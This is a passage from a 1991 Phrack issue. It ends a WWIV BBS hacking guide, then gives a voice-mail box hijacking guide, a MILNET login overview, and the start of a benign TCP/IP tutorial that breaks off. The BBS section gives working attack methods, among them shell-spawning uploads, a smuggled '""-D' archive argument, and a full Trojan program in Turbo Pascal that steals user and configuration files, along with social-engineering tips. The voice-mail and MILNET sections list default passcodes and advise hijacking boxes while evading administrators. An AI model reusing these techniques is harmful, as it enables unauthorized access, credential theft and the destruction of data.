- whatever programs people wanted to write for WWIV, like an off-line reader or
- whatever. Snarf (the file leeching utility) uses this. If there is not a
- REMOTE.EXE or REMOTE.COM in the main BBS directory, it will also act as if you
- entered an invalid user name. So, what you can do is wildcard upload either
- REMOTE.COM or NETWORK.COM. You want to call them COM files, because if the EXE
- files already exist, the COM ones will be called first. If the BBS is part of
- a network, you should go for REMOTE.COM, because if you do NETWORK.COM, it will
- screw up network communications and the sysop will notice a lot faster. Of
- course, if you're going straight in for the kill, it doesn't matter.
-
- So, what should NETWORK.COM or REMOTE.COM actually be? you ask. Well, you
- can try renaming COMMAND.COM to one of those two, which would make a DOS shell
- for you when it was executed. This is tricky, though, because you need to know
- his DOS version. I suggest a batch file, compiled to a COM file using PC Mag's
- BAT2EXEC. You can make the batch file have one line:
-
- \COMMAND
-
- That way you don't have to worry about DOS versions.
-
- Remember that this method of hacking WWIV is almost completely obsolete.
- It is just included for reference, or for some old board run from an empty
- house where the sysop logs on twice a year or something.
-
- ***
- *** Technique #2: The PKZIP Archive Hack
- ***
-
- Probably the most vulnerable part of WWIV is the archive section. This
- section allows users to unZIP files to a temporary directory and ZIP the files
- you want into a temporary ZIP file, then download it. This is useful if you
- download a file from another board, but one file in it is corrupted. This way
- you don't have to re-download the whole file. Anyway, on with the show. Make
- a zip file that contains a file called PKZIP.BAT or COM or EXE. It doesn't
- matter. This file will be executed, so make it whatever you want, just like in
- Technique #1. Make it COMMAND.COM, or a batch file, or a HD destroyer,
- whatever you want. So you upload this file, and then type "E" to extract it.
-
- It'll ask you what file to extract and you say the name of the file you just
- uploaded. It'll then say "Extract What? " and you say "*.*". It'll then unzip
- everything (your one file) into the TEMP directory. Then go to the archive
- menu ("G") and pick "A" to add a file to archive. It'll ask what file you want
- to add, and say anything, it doesn't matter. At this point it will try to
- execute the command:
-
- PKZIP TEMP.ZIP \TEMP\%1
-
- Where %1 is what you just entered. The file pointer is already pointing
- to the temp directory, so instead of executing PKZIP from the DOS path, it'll
- execute the file sitting in the current directory, TEMP. So then it runs PKZIP
- and you get your DOS shell or whatever.
- If PKZIP does not work, you may want to try uploading another file, and
- use the same technique, but instead make it an ARC file and call the file in
- the archive PKPAK.
-
- This technique is relatively easy to defeat from the sysop's end, but
- often they are too lazy, or just haven't heard about it.
-
- ***
- *** Technique #3: The -D Archive Hack
- ***
-
- This technique also plays on the openness of WWIV's archive system. This
- is another method of getting a file into the root BBS directory, or anywhere on
- the hard drive, for that matter.
-
- First, create a temporary directory on your hard drive. It doesn't matter
- what it's called. We'll call it TEMP. Then, make a sub-directory of TEMP
- called AA. It can actually be called any two-character combination, but we'll
- keep it nice and simple. Then make a subdirectory of AA called WWIV.
-
- Place NETWORK.COM or REMOTE.COM or whatever in the directory
- \TEMP\AA\WWIV. Then from the TEMP directory execute the command:
-
- PKZIP -r -P STUFF.ZIP <--- The case of "r" and "P" are important.
-
- This will create a zip file of all the contents of the directories, but
- with all of the directory names recursed and stored. So if you do a PKZIP -V
- to list the files you should see AA\WWIV\REMOTE.COM, etc.
-
- Next, load STUFF.ZIP into a hex editor, like Norton Utilities, and search
- for "AA". When you find it (it should occur twice), change it to "C:". It is
- probably a good idea to do this twice, once with the subdirectory called WWIV,
- and another with it called BBS, since those are the two most common main BBS
- directory names for WWIV. You may even want to try D: or E: in addition to C:.
- You could even work backwards, by forgetting the WWIV subdirectory, and just
- making it AA\REMOTE.COM, and changing the "AA" to "..". This would be
- foolproof. You could work from there, doing "..\..\DOS\PKZIP.COM" or whatever.
-
- Then upload STUFF.ZIP (or whatever you want to call it) to the BBS, and
- type "E" to extract it to a temporary directory. It'll ask you what file.
- Type "STUFF.ZIP". It'll ask what you want to extract. Type """-D". It'll
- then execute:
-
- PKUNZIP STUFF.ZIP ""-D
-
- It will unzip everything into the proper directory. Voila. The quotation
- marks are ignored by PKUNZIP and are only there to trip up WWIV v4.20's check
- for the hyphen. This method can only be defeated by modifying the source code,
- or taking out the calls to any PKZIP or PKUNZIP programs in INIT, but then you
- lose your archive section.
-
-
-
- ***
- *** Technique #4: The Trojan Horse File-Stealer
- ***
-
- This method, if executed properly, is almost impossible to defeat, and
- will conceivably work on any BBS program, if you know the directory structure
- well enough. Once again, you need PC Mag's BAT2EXEC, or enough programming
- experience to write a program that will copy files from one place to another.
- The basic principle is this: You get the sysop to run a program that you
- upload. This program copies \WWIV\DATA\USER.LST and \WWIV\CONFIG.DAT *over*
- files that already exist in the transfer or gfiles area. You then go download
- those files and you have the two most important files that exist for WWIV.
- Now, you need to do a certain amount of guess-work here. WWIV has it's
- directories set up like this:
-
-
-
- --- TEMP
- I --- DIR1
- I I
- I--- DLOADS---I--- DIR2
- I I
- I --- DIR3
- WWIV--I--- DATA
- I --- GDIR1
- I I
- I--- GFILES---I--- GDIR2
- I I
- I --- GDIR3
- --- MSGS
-
-
- The sysop sets the names for the DIR1, DIR2, etc. Often you have names
- like UPLOADS, GAMES, UTILS, etc. For the gfile dirs you might have GENERAL,
- HUMOR, whatever.
-
- So you have to make a guess at the sysop's directory names. Let's say he
- never moves his files from the upload directory. Then do a directory list from
- the transfer menu and pick two files that you don't think anyone will download.
- Let's say you see:
-
- RABBIT .ZIP 164k : The History of Rabbits from Europe to the U.S.
- SCD .COM 12k : SuperCD - changes dirs 3% faster than DOS's CD!
-
- So you then might write a batch file like this:
-
- @ECHO OFF
- COPY \WWIV\DATA\USER.LST \WWIV\DLOADS\UPLOADS\RABBIT.ZIP
- COPY \BBS\DATA\USER.LST \BBS\DLOADS\UPLOADS\RABBIT.ZIP
- COPY \WWIV\CONFIG.DAT \WWIV\DLOADS\UPLOADS\SCD.COM
- COPY \BBS\CONFIG.DAT \BBS\DLOADS\UPLOADS\SCD.COM
-
- You'd then compile it to a COM file and upload it to the sysop directory.
- Obviously this file is going to be pretty small, so you have to make up
- plausible use for it. You could say it's an ANSI screen for your private BBS,
- and the sysop is invited. This is good if you have a fake account as the
- president of some big cracking group. You wouldn't believe how gullible some
- sysops are. At any rate, use your imagination to get him to run the file. And
- make it sound like he shouldn't distribute it, so he won't put it in some
- public access directory.
-
- There is a problem with simply using a batch file. The output will look
- like:
-
- 1 file(s) copied.
- File not found.
- 1 file(s) copied.
- File not found.
-
- That might get him curious enough to look at it with a hex editor, which
- would probably blow everything. That's why it's better to write a program in
- your favorite language to do this. Here is a program that searches specified
- drives and directories for CONFIG.DAT and USER.LST and copies them over the
- files of your choice. It was written in Turbo Pascal v5.5:
-
- Program CopyThisOverThat;
-
- { Change the dir names to whatever you want. If you change the number of
- locations it checks, be sure to change the "num" constants as well }
-
- uses dos;
-
- const
- NumMainDirs = 5;
- MainDirs: array[1..NumMainDirs] of string[8] = ('BBS','WWIV','WORLD',
- 'BOARD','WAR');
- NumGfDirs = 3;
- GFDirs: array[1..NumGFDirs] of string[8] = ('DLOADS','FILES','UPLOADS');
- NumSubGFDirs = 2;
- SubGFDirs: array[1..NumSubGFDirs] of string[8] = ('UPLOADS','MISC');
-
- NumDirsToTest = 3;
- DirsToTest: array[1..NumDirsToTest] of string[3] = ('C:\','D:\','E:\');
- {ok to test for one that doesn't exist}
-
- {Source file names include paths from the MAIN BBS subdir (e.g. "BBS") }
-
- SourceFileNames: array[1..2] of string[25] = ('DATA\USER.LST','DATA\CONFIG.DA
- T');
-
- { Dest file names are from subgfdirs }
-
- DestFileNames: array[1..2] of string[12] = ('\BDAY.MOD','\TVK.ZIP');
-
- var
- p, q, r, x, y, dirN: byte;
- bigs: word;
- CurDir, BackDir: string[80];
- f1, f2: file;
- Info: pointer;
- ok: boolean;
-
- Procedure Sorry;
-
- var
- x, y: integer;
- begin
- for y := 1 to 1000 do
- for x := 1 to 100 do
- ;
- Writeln;
- Writeln ('<THIS IS DISPLAYED WHEN FINISHED>'); {change to something like }
- Writeln; {Abnormal program termination}
- ChDir(BackDir);
- Halt;
- end;
-
- begin
-
- Write ('<THIS IS DISPLAYED WHILE SEARCHING>'); {change to something like }
-
- {$I-} {Loading...}
-
- GetDir (0, BackDir);
- ChDir('\');
- for dirn := 1 to NumDirsToTest do
- begin
- ChDir(DirsToTest[dirn]);
- if IOResult = 0 then
- begin
- for p := 1 to NumMainDirs do
- begin
- ChDir (MainDirs[p]);
- if (IOResult <> 0) then
- begin
- if (p = NumMainDirs) and (dirn = NumDirsToTest) then
- Sorry;
- end else begin
- p := NumMainDirs;
- for q := 1 to NumGFDirs do
- begin
- ChDir (GFDirs[q]);
- if (IOResult <> 0) then
- begin
- if (q = NumGFDirs) and (dirn=NumdirsToTest) then
- Sorry;
- end else begin
- q := NumGFDirs;
- for r := 1 to NumSubGFDirs do
- begin
- ChDir (SubGFDirs[r]);
- if (IOResult <> 0) then
- begin
- if r = NumSubGFDirs then
- Sorry;
- end else begin
- r := NumSubGFDirs;
- dirn := NumDirsToTest;
- ok := true;
- end;
- end;
- end;
- end;
- end;
- end;
- end;
- end;
- GetDir (0, CurDir);
- ChDir ('..');
- ChDir ('..');
- for x := 1 to 2 do
- begin
- Assign (f1, SourceFileNames[x]);
- Assign (f2, CurDir+DestFileNames[x]);
- Reset (f1, 1);
- if IOResult <> 0 then
- begin
- if x = 2 then
- Sorry;
- end else begin
- ReWrite (f2, 1);
- Bigs := FileSize(f1);
- GetMem(Info, Bigs);
- BlockRead(f1, Info^, Bigs);
- BlockWrite (f2, Info^, Bigs);
- FreeMem(Info, Bigs);
- end;
- end;
- Sorry;
- end.
-
- So hopefully the sysop runs this program and emails you with something
- like "Hey it didn't work bozo!". Or you could make it work. You could
- actually stick a BBS ad in the program or whatever. It's up to you. At any
- rate, now you go download those files that it copied the USER.LST and
- CONFIG.DAT over. You can type out the CONFIG.DAT and the first word you see in
- all caps is the system password. There are several utilities for WWIV that let
- you compile the USER.LST to a text file. You can find something like that on a
- big WWIV board, or you can try to figure it out with a text or hex editor. At
- any rate, once you have those two files, you're in good shape.
-
- You could also use a batch file like that in place of one that calls
- COMMAND.COM for something like REMOTE.COM. It's up to you.
-
- ***
- *** Hacking Prevention
- ***
-
- So you are the sysop of a WWIV board, and are reading this file with
- growing dismay. Have no fear, if you have patience, almost all of these
- methods can be fixed.
-
- To eliminate the wildcard upload, all you have to do it get a current copy
- of WWIV (4.20), and the latest version of DSZ. It's all been fixed. To fix
- the PKZIP archive hack, simply specify a path in INIT in all calls to PKZIP,
- PKUNZIP, PKPAK, PKUNPAK, and any other archive programs you have. So your
- command lines should look like:
-
- \DOS\PKZIP -V %1
-
- Or something similar. That will fix that nicely. To eliminate the -D
- method, you have to make some modifications to the source code if you want to
- keep your archive section. Goose, sysop of the Twilight Zone BBS in VA,
- puts out a NOHACK mod, which is updated regularly. It fixes ALL of these
- methods except the last. The latest version of NOHACK is v2.4. If you are a
- WWIV sysop, put it in.
-
- I can think of two ways to stop the last method, but neither of them are
- easy, and both require source code modifications. You could keep track of the
- filesize of a file when it's uploaded. Then when someone goes to download it,
- you could check the actual filesize with the size when it was uploaded. If
- they differ, it wouldn't let you download it. You could do the same with the
- date. Although either method could be gotten around with enough patience.
-
- For a virtually unhackable system, voice validate all users, have all
- uploads go to the sysop directory so you can look over them first, and don't
- run any programs. Of course, this is very tedious, but that is the price
- of a secure BBS.
-
- ***
- *** Thanks
- ***
-
- Thanks to Fenris Wolf for teaching me about the -D method, to Steve
- for help with the CopyThisOverThat program, and to Insight for proofing this
- file.
-
- *******************************************************************************
-
- ==Phrack Inc.==
-
- Volume Three, Issue Thirty-four, File #6 of 11
-
-
- HACKING VOICE MAIL SYSTEMS
-
- by Night Ranger
-
-
- DISCLAIMER
-
- I, Night Ranger, or anyone else associated with Phrack, am not responsible
- for anything the readers of this text may do. This file is for informational
- and educational purposes only and should not be used on any system or network
- without written permission of the authorized persons in charge.
-
-
- INTRODUCTION
-
- I decided to write this text file because I received numerous requests for
- vmbs from people. Vmbs are quite easy to hack, but if one doesn't know where
- to start it can be hard. Since there aren't any decent text files on this
- subject, I couldn't refer them to read anything, and decided to write one
- myself. To the best of my knowledge, this is the most complete text on
- hacking vmb systems. If you have any comments or suggestions, please let me
- know.
-
- Voice Mail Boxes (vmbs) have become a very popular way for hackers to get in
- touch with each other and share information. Probably the main reason for
- this is their simplicity and availability. Anyone can call a vmb regardless
- of their location or computer type. Vmbs are easily accessible because most
- are toll free numbers, unlike bulletin boards. Along with their advantages,
- they do have their disadvantages. Since they are easily accessible this
- means not only hackers and phreaks can get information from them, but feds
- and narcs as well. Often they do not last longer than a week when taken
- improperly. After reading this file and practicing the methods described,
- you should be able to hack voice mail systems with ease. With these thoughts
- in mind, let's get started.
-
-
- FINDING A VMB SYSTEM
-
- The first thing you need to do is find a VIRGIN (unhacked) vmb system. If
- you hack on a system that already has hackers on it, your chance of finding
- a box is considerably less and it increases the chance that the system
- administrator will find the hacked boxes. To find a virgin system, you need
- to SCAN some 800 numbers until you find a vmb. A good idea is to take the
- number of a voice mail system you know, and scan the same exchange but not
- close to the number you have.
-
-
- FINDING VALID BOXES ON THE SYSTEM
-
- If you get a high quality recording (not an answering machine) then it is
- probably a vmb system. Try entering the number 100, the recording should
- stop. If it does not, you may have to enter a special key (such as '*' '#'
- '8' or '9') to enter the voice mail system. After entering 100 it should
- either connect you to something or do nothing. If it does nothing, keep
- entering (0)'s until it does something. Count the number of digits you
- entered and this will tell you how many digits the boxes on the system are.
- You should note that many systems can have more than one box length depending
- on the first number you enter, Eg. Boxes starting with a six can be five
- digits while boxes starting with a seven can only be four. For this file we
- will assume you have found a four digit system, which is pretty common. It
- should do one of the following things...
-
- 1) Give you an error message, Eg. 'Mailbox xxxx is invalid.'
- 2) Ring the extension and then one of the following..
- 1) Someone or no one answers.
- 2) Connects you to a box.
- 3) Connect you to mailbox xxxx.
-
- If you get #1 then try some more numbers. If you get #2 or #3 then you have
- found a valid vmb (or extension in the case of 2-1). Extensions usually have
- a vmb for when they are not at their extension. If you get an extension,
- move on. Where you find one box you will probably find more surrounding it.
- Sometimes a system will try to be sneaky and put one valid vmb per 10 numbers.
- Eg. Boxes would be at 105, 116, 121, ... with none in between. Some systems
- start boxes at either 10 after a round number or 100 after, depending on
- whether it is a three or four box system. For example, if you do not find
- any around 100, try 110 and if you do not find any around 1000 try 1100. The
- only way to be sure is to try EVERY possible box number. This takes time but
- can be worth it.
-
- Once you find a valid box (even if you do not know the passcode) there is a
- simple trick to use when scanning for boxes outside of a vmb so that it does
- not disconnect you after three invalid attempts. What you do is try two box
- numbers and then the third time enter a box number you know is valid. Then
- abort ( usually by pressing (*) or (#) ) and it will start over again. From
- there you can keep repeating this until you find a box you can hack on.
-
-
- FINDING THE LOGIN SEQUENCE
-
- Different vmb systems have different login sequences (the way the vmb owner
- gets into his box). The most common way is to hit the pound (#) key from the
- main menu. This pound method works on most systems, including Aspens (more
- on specific systems later). It should respond with something like 'Enter
- your mailbox.' and then 'Enter your passcode.' Some systems have the
- asterisk (*) key perform this function. Another login method is hitting a
- special key during the greeting (opening message) of the vmb. On a Cindy or
- Q Voice Mail system you hit the zero (0) key during the greet and since
- you've already entered your mailbox number it will respond with 'Enter your
- passcode.' If (0) doesn't do anything try (#) or (*). These previous two
- methods of login are the most common, but it is possible some systems will
- not respond to these commands. If this should happen, keep playing around
- with it and trying different keys. If for some reason you cannot find the
- login sequence, then save this system for later and move on.
-
-
- GETTING IN
-
- This is where the basic hacking skills come to use. When a system
- administrator creates a box for someone, they use what's called a default
- passcode. This same code is used for all the new boxes on the system, and
- often on other systems too. Once the legitimate owner logs into his new vmb,
- they are usually prompted to change the passcode, but not everyone realizes
- that someone will be trying to get into their mailbox and quite a few people
- leave their box with the default passcode or no passcode at all. You should
- try ALL the defaults I have listed first.
-
-
- DEFAULTS BOX NUMBER TRY
-
- box number (bn) 3234 3234 Most Popular
- bn backwards 2351 1532 Popular
- bn+'0' 323 3230 Popular With Aspens
-
- Some additional defaults in order of most to least common are:
-
- 4d 5d 6d
- 0000 00000 000000 *MOST POPULAR*
- 9999 99999 999999 *POPULAR*
- 1111 11111 111111 *POPULAR*
- 1234 12345 123456 *VERY POPULAR WITH OWNERS*
- 4321 54321 654321
- 6789 56789 456789
- 9876 98765 987654
- 2222 22222 222222
- 3333 33333 333333
- 4444 44444 444444
- 5555 55555 555555
- 6666 66666 666666
- 7777 77777 777777
- 8888 88888 888888
- 1991
-
-
- It is important to try ALL of these before giving up on a system. If none of
- these defaults work, try anything you think may be their passcode. Also
- remember that just because the system can have a four digit passcode the vmb
- owner does not have to have use all four digits. If you still cannot get
- into the box, either the box owner has a good passcode or the system uses a
- different default. In either case, move on to another box. If you seem to
- be having no luck, then come back to this system later. There are so many
- vmb systems you should not spend too much time on one hard system.
-
- If there's one thing I hate, it's a text file that says 'Hack into the
- system. Once you get in...' but unlike computer systems, vmb systems really
- are easy to get into. If you didn't get in, don't give up! Try another
- system and soon you will be in. I would say that 90% of all voice mail
- systems have a default listed above. All you have to do is find a box with
- one of the defaults.
-
-
- ONCE YOU'RE IN
-
- The first thing you should do is listen to the messages in the box, if there
- are any. Take note of the dates the messages were left. If they are more
- than four weeks old, then it is pretty safe to assume the owner is not using
- his box. If there are any recent messages on it, you can assume he is
- currently using his box. NEVER take a box in use. It will be deleted soon,
- and will alert the system administrator that people are hacking the system.
- This is the main reason vmb systems either go down, or tighten security. If
- you take a box that is not being used, it's probable no one will notice for
- quite a while.
-
-
- SCANNING BOXES FROM THE INSIDE
-
- >From the main menu, see if there is an option to either send a message to
- another user or check receipt of a message. If there is you can search for
- VIRGIN (unused) boxes) without being disconnected like you would from
- outside of a box. Virgin boxes have a 'generic' greeting and name. Eg.
- 'Mailbox xxx' or 'Please leave your message for mailbox xxx...' Write down
- any boxes you find with a generic greeting or name, because they will
- probably have the default passcode. Another sign of a virgin box is a name
- or greeting like 'This mailbox is for ...' or a women's voice saying a man's
- name and vice versa, which is the system administrator's voice. If the box
- does not have this feature, simply use the previous method of scanning boxes
- from the outside. For an example of interior scanning, when inside an Aspen
- box, chose (3) from the main menu to check for receipt. It will respond with
- 'Enter box number.' It is a good idea to start at a location you know there
- are boxes present and scan consecutively, noting any boxes with a 'generic'
- greeting. If you enter an invalid box it will alert you and allow you to
- enter another. You can enter invalid box numbers forever, instead of the
- usual three incorrect attempts from outside a box.
-
-
- TAKING A BOX
-
- Now you need to find a box you can take over. NEVER take a box in use; it
- simply won't last. Deserted boxes (with messages from months ago) are the
- best and last the longest. Take these first. New boxes have a chance of
- lasting, but if the person for whom the box was created tries to login,
- you'll probably lose it. If you find a box with the system administrator's
- voice saying either the greeting or name (quite common), keeping it that way
- will prolong the box life, especially the name.
-
- This is the most important step in taking over a box! Once you pick a box take
- over, watch it for at least three days BEFORE changing anything! Once
- you think it's not in use, then change only the passcode, nothing else!
- Then login frequently for two to three days to monitor the box and make sure
- no one is leaving messages in it. Once you are pretty sure it is deserted,
- change your greeting to something like 'Sorry I'm not in right now, please
- leave your name and number and I'll get back to you.' DO NOT say 'This is
- Night Ranger dudes...' because if someone hears that it's good as gone. Keep
- your generic greeting for one week. After that week, if there are no
- messages from legitimate people, you can make your greeting say whatever you
- want. The whole process of getting a good vmb (that will last) takes about
- 7-10 days, the more time you take the better chance you have of keeping it
- for long time. If you take it over as soon as you get in, it'll probably
- last you less than a week. If you follow these instructions, chances are it
- will last for months. When you take some boxes, do not take too many at one
- time. You may need some to scan from later. Plus listening to the messages
- of the legitimate users can supply you with needed information, such as the
- company's name, type of company, security measures, etc.
-
-
- SYSTEM IDENTIFICATION
-
- After you have become familiar with various systems, you will recognize them
- by their characteristic female (or male) voice and will know what defaults
- are most common and what tricks you can use. The following is a few of a few
- popular vmb systems.
-
- ASPEN is one of the best vmb systems with the most features. Many of them
- will allow you to have two greetings (a regular and an extended absence
- greeting), guest accounts, urgent or regular messages, and numerous other
- features. Aspens are easy to recognize because the female voice is very
- annoying and often identifies herself as Aspen. When you dial up an Aspen
- system, sometimes you have to enter an (*) to get into the vmb system. Once
- you're in you hit (#) to login. The system will respond with 'Mailbox number
- please?' If you enter an invalid mailbox the first time it will say 'Mailbox
- xxx is invalid...' and the second time it will say 'You dialed xxx, there is
- no such number...' and after a third incorrect entry it will hang up. If
- you enter a valid box, it will say the box owner's name and 'Please enter
- your passcode.' The most common default for Aspens is either box number or
- box number + (0). You only get three attempts to enter a correct box number
- and then three attempts to enter a correct passcode until it will disconnect
- you. From the main menu of an Aspen box you can enter (3) to scan for other
- boxes so you won't be hung up like you would from outside the box.
-
- CINDY is another popular system. The system will start by saying 'Good
- Morning/Afternoon/Evening. Please enter the mailbox number you wish...' and
- is easy to identify. After three invalid box entries the system will say
- 'Good Day/Evening!' and hang up. To login, enter the box number and during
- the greet press (0) then your passcode. The default for ALL Cindy systems is
- (0). From the main menu you can enter (6) to scan for other boxes so you
- won't be hung up. Cindy voice mail systems also have a guest feature, like
- Aspens. You can make a guest account for someone, and give them
- password, and leave them messages. To access their guest account, they just
- login as you would except they enter their guest passcode. Cindy systems
- also have a feature where you can have it call a particular number and
- deliver a recorded message. However, I have yet to get this feature to work
- on any Cindy boxes that I have.
-
- MESSAGE CENTER is also very popular, especially with direct dials. To login
- on a Message Center, hit the (*) key during the greet and the system will
- respond with 'Hello <name>. Please enter your passcode.' These vmbs are
- very tricky with their passcode methods. The first trick is when you enter
- an invalid passcode it will stop you one digit AFTER the maximum passcode
- length. Eg. If you enter 1-2-3-4-5 and it gives you an error message you enter
- the fifth digit, that means the system uses a four digit passcode,
- which is most common on Message Centers. The second trick is that if you enter
- an invalid code the first time, no matter what you enter as the second passcode
- it will give you an error message and ask again. Then if you entered the
- correct passcode the second and third time it will let you login. Also, most
- Message Centers do not have a default, instead the new boxes are 'open' and
- when you hit (*) it will let you in. After hitting (*) the first time to
- login a box you can hit (*) again and it will say 'Welcome to the Message
- Center.' and from there you can dial other extensions. This last feature can
- be useful for scanning outside a box. To find a new box, just keep entering
- box numbers and hitting (*) to login. If it doesn't say something to the
- effect of welcome to your new mailbox then just hit (*) again and it will
- send you back to the main system so you can enter another box. This way you
- will not be disconnected. Once you find a box, you can enter (6) 'M'ake a
- message to scan for other boxes with generic names. After hitting (6) it
- will ask for a mailbox number. You can keep entering mailbox numbers until
- you find a generic one. Then you can cancel your message and go hack it out.
-
-
- Q VOICE MAIL is a rather nice system but not as common. It identifies itself
- 'Welcome to Q Voice Mail Paging' so there is no question about what system it
- is. The box numbers are usually five digits and to login you enter (0) like
- a Cindy system. From the main menu you can enter (3) to scan other boxes.
-
- There are many more systems I recognize but do not know the name for them.
- You will become familiar with these systems too.
-
-
- CONCLUSION
-
- You can use someone else's vmb system to practice the methods outlined above,
- but if you want a box that will last you need to scan out a virgin system.
- If you did everything above and could not get a vmb, try again on another
- system. If you follow everything correctly, I guarantee you will have more
- vmbs than you know what to do with. When you start getting a lot of them, if
- you are having trouble, or just want to say hi be sure to drop me a line on
- either of my internet addresses, or leave me a voice mail message.
-
- NOTE: Some information was purposely not included in this file to prevent
- abuse to various systems.
-
-
- Night Ranger
- gbatson@clutx.clarkson.edu
-
- 1-800-666-2336 Box 602 (After Business Hours)
- 1-800-435-2008 Box 896 (After Business Hours)
- _______________________________________________________________________________
-
- ==Phrack Inc.==
-
- Volume Three, Issue Thirty-four, File #7 of 11
- _____________________________________
- | |
- | : : : : : : : : : : : : : : : : : |
- | : Brigadier General Swipe : |
- | : : : : : : : : : : : : : : : : : |
- | |
- | presents: |
- _____________________________________
-
- | |
- | An Introduction to MILNET |
- | |
- |_____________________________________|
-
- : :Introduction: :
-
- First of all MILNET is a system used by branches of the military for
- unclassified communications. MILNET produces that infamous TAC login xxx. TAC
- MILNET is run out of the University of Southern California. USC is the ISI
- master dial up. I would also like to point out that the Department of Defense
- tends to frown on people browsing through there system. With that in mind,
- here is a basic overview of MILNET operations.
-
- : :Logging On: :
-
- MILNET can be reached over through the "nets" or can be directly connected
- to by dialing 1-800-368-2217 or 213-306-1366. The later is the ISI master dial
- up. Most military bases connect through the 800 dial up owned by AT&T.
-
- ISIE MASTER LOGON PROCEDURE
- ----------------------------
- 1> call 213-306-1366
- 2> when the phone stops ringing you are connected
- 3> enter location number (9 digits) + 1 or 0
- 4> hang up and it will call you
- 5> pick up the phone and hit the '*' on your phone
- 6> hit a carriage return on the computer
- 7> at the 'what class?' prompt hit RETURN
- 8> then a 'go' prompt will appear and log on as you would the 800 number.
-
- MILNET LOGIN PROCEDURE
- -----------------------
- > When you first connect you will see:
-
- 'WELCOME TO DDN. FOR OFFICIAL USE ONLY.TAC LOGIN
- CALL NIC 1-800-235-3155 FOR HELP
- WRPAT TAC 113 #:36
-
- > the person logging on types:
-
- @o 1/103
-
- YOU ALWAYS TYPE @o then other connections are:
- ISIA 3/103
- ISIB 10:3/52
- ISID 10:0/27
- ISIE 1/103 (THE EXAMPLE)
- ISIF 2/103
- VAX A 10:2/27
-
- > Next you will see a 'USER-ID' prompt. The first 4 characters vary but it is
- is always followed by a '-' and what ever connection you choose.
-
- User-Id: (example) CER5-ISIE or MRW1-ISIE
-
- > The first three letters are the initials of the user followed by a random
- number (1-9).
-
- Access Code: (example) 2285UNG6A or 22L8KK5CH
-
- > An access code will never contain a ( 1, 0, G, Z).
-
- @ USERNAME + PASSWORD IE USERNAME SAC.512AREFW-LGTO
-
- THE USERNAME EXPLANATION:
- -------------------------
- The first 3 letters in the example given above are SAC. This stands for
- Strategic Air Command, a branch of the Air Force. Following that is a "."
- Then the unit number and the prime mission. In this case 512AREFW", (512th
- AIR REFUELING WING). Then a '-' and the Individual Squadron name 'LGTO'
- (LOGISTICS GROUND TRANSPORTATION OPERATIONS), a fancy name for the motor pool.
- The password will not be echoed back and should be entered after the
- username. The new user password as a default is: NEW-UZER-ACNT.
-
- : :Options: :
-
- PROGRAMS AVAILABLE TO SAC USERS:
- -------------------------------
-
- ADUTY aids in management of additional duty assignments.
- (International help - use the ? and <ESC> keys, HELP.)
-
- ARCHIVE requests files to be stored on tape for later retrieval.
- (Type HELP ARCHIVE <RET> at TOPS-20.)
-
- CHAT Provides near real time communication between terminal users on the
- same host computer.
- (Use ? with CHAT.)
-
- DAILY Executive appointment scheduling program
-
- DCOPY Handles output on DIABLO and XEROX printers
-
- EMACS Powerful full-screen text editor
- FOLLOW Suspense follow up program
-
- FTP provides file transfer capabilities between host computers
-
- FKEYS allows user to define function key (real spiffaruni)
-
- HELP the command used by stupid generals or hackers that have never used
- milnet before
-
- HERMES E-Mail
-
- NCPCALC spreadsheet program
-
- PHOTO saves transcripts of sessions
-
- REMIND sends user-created reminders
-
- RIPSORT a sophisticated data sorting program
- (Described in SAC's User manual (sorry))
-
- SCRIBE a powerful text formatter for preparing documents.
- (ISI's manual, SCRIBE manual - soon on MILNET V.2)
-
- SPELL text file spelling checker.
- (HELP at TOPS-20 and <DOCUMENTATION> directory international help -?)
-
- SUSCON allows the creating, sending, and clearing of suspenses.
- (international help - ? and <ESC>, HELP command)
-
- TACOPY used for printing hard copies of files
- (international help - ?)
-
- TALK pretty much the same as chat.
-
- TIPCOPY predecessor of TACOPY
-
- TEACH-EMACS (SELF EXPLANATORY: GIVES LIST OF COMMANDS)
-
- TN Tel-Net provides multi-host access on MILNET.
- (HELP at TOPS-20 and <DOCUMENTATION> directory,
- international help - use ? and <ESC>)
-
- XED line oriented text editor.
- (HELP at TOPS-20 and <DOCUMENTATION> directory)
-
- : :Logging Out: :
-
- TYPE: @L
-
- : :ID Card: :
-
- When a user gets a MILNET account he/she receives a card in the mail that
- looks similar to the diagram below. It is credit card sized and will be blue &
- white.
- _______________________________________
- / \
- | HOST USC-ISIE 26.1.0.103 |
- | HOST ADMINISTRATOR GORDON,VICKI L. |
- |---------------------------------------|
- | DDN CARD HOLDER: |
- | SMITH, BILL A, 1st LT. |
- | CARD 418475 |
- |---------------------------------------|
- | USER ID:CER5-ISIE |
- | ACCESS CODE:2285ANI6A |
- | USERNAME: SAC.512AREFW-LGTO |
- | PASSWORD: NEW-UZER-ACNT |
- \_______________________________________/
- _______________________________________________________________________________
-
- : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :
- _______________________________________________________________________________
-
-
- ==Phrack Inc.==
-
- Volume Three, Issue Thirty-Four, File #8 of 11
-
- A TCP/IP Tutorial : Behind The Internet
- Part Two of Two
-
- October 4th, 1991
-
- Presented by The Not
-
- 5. Internet Protocol
-
- The IP module is central to internet technology and the essence of IP
- is its route table. IP uses this in-memory table to make all
- decisions about routing an IP packet. The content of the route table
- is defined by the network administrator. Mistakes block
- communication.
-
- To understand how a route table is used is to understand
- internetworking. This understanding is necessary for the successful
- administration and maintenance of an IP network.
-
- The route table is best understood by first having an overview of
- routing, then learing about IP network addresses, and then looking
- at the details.
-
- 5.1 Direct Routing
-
- The figure below is of a tiny internet with 3 computers: A, B, and C.
- Each computer has the same TCP/IP protocol stack as in Figure 1.
- Each computer's Ethernet interface has its own Ethernet address.
- Each computer has an IP address assigned to the IP interface by the
- network manager, who also has assigned an IP network number to the
- Ethernet.
-
- A B C
- | | |
- --o------o------o--
- Ethernet 1
- IP network "development"
-
- Figure 6. One IP Network
-
- When A sends an IP packet to B, the IP header contains A's IP address
- as the source IP address, and the Ethernet header contains A's
- Ethernet address as the source Ethernet address. Also, the IP header
- contains B's IP address as the destination IP address and the
- Ethernet header contains B's Ethernet address as the des
- ----------------------------------------
- |address source destination|
- ----------------------------------------
- |IP header A B |
- |Ethernet header A B |
- ----------------------------------------
- TABLE 5. Addresses in an Ethernet frame for an IP packet
- from A to B
-
- For this simple case, IP is overhead because the IP adds little to
- the service offered by Ethernet. However, IP does add cost: the
- extra CPU processing and network bandwidth to generate, transmit, and
- parse the IP header.
-
- When B's IP module receives the IP packet from A, it checks the
- destination IP address against its own, looking for a match, then it
